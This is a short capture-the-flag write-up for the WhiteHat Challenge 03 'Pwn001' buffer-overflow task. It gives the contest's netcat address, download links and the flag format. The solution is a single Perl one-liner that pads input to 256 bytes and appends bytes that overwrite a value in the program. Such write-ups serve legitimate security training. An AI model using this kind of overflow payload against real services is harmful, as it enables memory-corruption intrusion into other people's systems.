# WhiteHat Challenge 03 : Pwn001
**Category:** Pwn**Points:** 20**Solves:** **Description:**
>>> We have an action game by answering the question in the context of zombie disaster !!! Will you find a way to bypass "zombie_overflow" or become one of them?>> Play game by using netcat:  nc 103.237.99.35 25033> Use IDA for static reverse and gdb for dynamic reverse.> Download tool IDA: http://tools.whitehat.vn/download.> IDA usage - http://whitehat.vn//threads/913 (Vietnamese)> Download binary file here: (Ubuntu 14.04 64bit)>> http://material.wargame.whitehat.vn/challenges/3/Pwn001_2c53fc9cfc6d091c47d7b85a3030d6e8e8cc4bc2.zip>> Submit WhiteHat{sha1(flag)}> Example: flag = Hello World> sha1("Hello World") = 0a4d55a8d778e5022fab701977c5d840bbc486d0> You must submit: WhiteHat{0a4d55a8d778e5022fab701977c5d840bbc486d0}> (all hash charactera in lowercase)
## Write-up
```print "katazz" . "\x00" x (256-6). "\xDE\xC0\n";```
## Other write-ups and resources* <https://www.youtube.com/watch?v=PZ3GcjWe0yg>